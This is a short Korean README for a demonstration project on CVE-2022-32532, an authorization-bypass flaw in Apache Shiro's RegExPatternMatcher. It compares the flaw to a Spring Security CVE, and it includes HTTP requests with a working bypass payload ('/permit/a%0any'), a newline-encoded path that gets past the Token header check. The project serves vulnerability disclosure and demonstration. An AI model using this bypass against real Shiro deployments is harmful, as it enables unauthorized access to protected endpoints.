CVE-2022-32532

개요

이 프로젝트는 이 취약점(CVE-2022-32532)을 악용하기 위한 조건 중 하나만을 보여주는 데모 프로젝트입니다.

실제로는 더 많은 악용 방법이 있으며, 개발자가 RegExPatternMatcher를 사용하는 한 우회 가능한 취약점이 존재할 수 있습니다.

현재 구성에서는 Token 요청 헤더 검증이 필요하며, 그렇지 않으면 /permit 하위 인터페이스에 접근할 수 있는 권한이 없습니다.

이 요청은 성공할 수 있습니다.

GET /permit/any HTTP/1.1
Token: 4ra1n

Token 요청 헤더가 없으면 접근이 허용되지 않습니다.

GET /permit/any HTTP/1.1

특수하지만 흔한 구성에서는 간단한 방법으로 우회할 수 있습니다.

GET /permit/a%0any HTTP/1.1

이 취약점은 Spring-Security의 CVE-2022-22978과 유사합니다.

bdemers(Apache Shiro PMC)와 chybeta(보안 연구원)에게 감사드립니다.